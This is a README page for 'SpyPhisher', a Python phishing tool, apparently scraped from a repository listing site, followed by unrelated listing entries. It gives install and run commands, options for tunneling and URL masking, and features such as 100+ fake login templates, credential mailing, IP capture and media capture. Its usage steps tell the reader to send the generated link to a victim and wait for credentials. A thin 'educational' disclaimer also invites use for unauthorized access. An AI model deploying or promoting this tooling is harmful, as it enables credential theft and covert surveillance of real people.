SpyPhisher
A python phishing script for login phishing, image phishing, video phishing and many more
Install / Use
/learn @portable36/SpyPhisherREADME
SpyPhisher
A python phishing script for login phishing, image phishing, video phishing and many more
<p align="center"> <img src="https://img.shields.io/badge/Version-1.0-green?style=for-the-badge"> <img src="https://img.shields.io/github/stars/portable36/SpyPhisher?style=for-the-badge&color=orange"> <img src="https://img.shields.io/github/forks/portable36/SpyPhisher?color=cyan&style=for-the-badge&color=purple"> <img src="https://img.shields.io/github/watchers/portable36/SpyPhisher?color=cyan&style=for-the-badge&color=purple"> <img src="https://img.shields.io/github/issues/portable36/SpyPhisher?color=red&style=for-the-badge"> <img src="https://img.shields.io/github/license/portable36/SpyPhisher?style=for-the-badge&color=blue"> <img src="https://hits.dwyl.com/portable36/SpyPhisher.svg" width="140" height="28"> <br> <br> <img src="https://img.shields.io/badge/Author-Spyder-purple?style=flat-square"> <img src="https://img.shields.io/badge/Open%20Source-80%25-cyan?style=flat-square"> <img src="https://img.shields.io/badge/Made%20in-Bangladesh-green?colorA=%23ff0000&colorB=%23017e40&style=flat-square"> <img src="https://img.shields.io/badge/Written%20In-Python-blue?style=flat-square"> </p>[+] Installation
Install primary dependencies (git, python)
- For Debian (Ubuntu, Kali-Linux, Parrot)
sudo apt install git python3 php openssh-client -y
- For Arch (Manjaro)
sudo pacman -S git python3 php openssh --noconfirm
- For Redhat(Fedora)
sudo dnf install git python3 php openssh -y
- For Termux
pkg install git python3 php openssh -y
Clone this repository
git clone https://github.com/portable36/SpyPhisher.git
Enter the directory
cd SpyPhisher
Install all modules
pip3 install -r files/requirements.txt
Run the tool
python3 SpyPhisher.py
Pip
pip3 install SpyPhisher[For Termux]sudo pip3 install SpyPhisher[For Linux]SpyPhisher
Docker
sudo docker pull portable36/SpyPhishersudo docker run --rm -it portable36/SpyPhisher
Options
usage: SpyPhisher.py [-h] [-p PORT] [-t TYPE] [-o OPTION] [-T TUNNELER]
[-r REGION] [-S SUBDOMAIN] [-d DIRECTORY] [-f FEST]
[-i YTID] [-u URL] [-s DURATION] [--noupdate]
options:
-h, --help show this help message and exit
-p PORT, --port PORT SpyPhisher's server port [Default : 8080]
-t TYPE, --type TYPE SpyPhisher's phishing type index [Default : null]
-o OPTION, --option OPTION
SpyPhisher's template index [Default : null]
-T TUNNELER, --tunneler TUNNELER
Tunneler to be chosen while url shortening [Default :
Cloudflared]
-r REGION, --region REGION
Region for ngrok and loclx [Default: auto]
-S SUBDOMAIN, --subdomain SUBDOMAIN
Subdomain for ngrok and loclx [Pro Account] (Default:
null)
-d DIRECTORY, --directory DIRECTORY
Directory where media files will be saved [Default :
/sdcard/Media]
-f FEST, --fest FEST Festival name for fest template [Default: Birthday]
-i YTID, --ytid YTID Youtube video ID for yttv template [Default :
6hHmkInZkMQ (NASA Video)]
-u URL, --url URL Redirection url for ip-tracking or login phishing
[Default : null]
-s DURATION, --duration DURATION
Media duration while capturing [Default : 5000(ms)]
--noupdate Skip update checking [Default : False]
Features:
- Multi platform (Supports most linux)
- 100+ templates
- Concurrent 4 tunneling (Ngrok, Cloudflared and LocalXpose, LocalHostRun)
- OTP Support
- Credentials mailing
- Easy to use
- Possible error diagnoser
- Built-in masking of URL
- Custom masking of URL
- URL Shadowing
- Portable file (Can be run from any directory)
- Get IP Address and many other details along with login credentials
Requirements
Python(3)requestsbs4
PHPSSH- 200MB storage
If not found, php, ssh and python modoules will be installed on first run
Tested on
TermuxUbuntuKali-LinuxArchFedoraManjaro
Usage
- Run the script
- Choose a Website
- Wait sometimes for setting up all
- Send the generated link to victim
- Wait for victim login. As soon as he/she logs in, credentials will be captured
Donation
If this tool has been useful for you, feel free to thank me by buying me a coffee :)
Credits:
- https://github.com/KasRoudra/MaxPhisher
- https://gitmemories.com/billythegoat356/Hyperion
- https://github.com/htr-tech/PyObfuscate
[!] Disclaimer
This tool is developed for educational purposes. Here it demonstrates how phishing works. If anybody wants to gain unauthorized access to someones social media, he/she may try out this at his/her own risk. You have your own responsibilities and you are liable to any damage or violation of laws by this tool. The author is not responsible for any misuse of SpyPhisher!
This repository is open source to help others. So if you wish to copy, consider giving credit!
Related Skills
bluebubbles
342.5kUse when you need to send or manage iMessages via BlueBubbles (recommended iMessage integration). Calls go through the generic message tool with channel="bluebubbles".
bear-notes
342.5kCreate, search, and manage Bear notes via grizzly CLI.
claude-seo
3.6kUniversal SEO skill for Claude Code. 19 sub-skills, 12 subagents, 3 extensions (DataForSEO, Firecrawl, Banana). Technical SEO, E-E-A-T, schema, GEO/AEO, backlinks, local SEO, maps intelligence, Google APIs, and PDF/Excel reporting.
claude-ads
1.5kComprehensive paid advertising audit & optimization skill for Claude Code. 186 checks across Google, Meta, YouTube, LinkedIn, TikTok & Microsoft Ads with weighted scoring, parallel agents, and industry templates.

